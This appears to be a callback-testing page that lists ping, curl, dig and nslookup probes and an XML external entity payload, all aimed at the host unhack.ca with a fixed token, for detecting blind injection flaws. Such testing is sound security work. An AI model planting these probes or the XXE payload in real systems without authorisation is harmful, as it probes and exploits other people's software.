$ ping -c1 -p 005c1fa0e9869760e06425d4aaebc500 unhack.ca
 

$ curl http://unhack.ca/p/5c1fa0e9869760e06425d4aaebc5
 

$ dig 5c1fa0e9869760e06425d4aaebc5 @unhack.ca
 

$ dig 5c1fa0e9869760e06425d4aaebc5.ns.unhack.ca
 

C:\> nslookup 5c1fa0e9869760e06425d4aaebc5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5c1fa0e9869760e06425d4aaebc5">]>
    <foo>&xxe;</foo>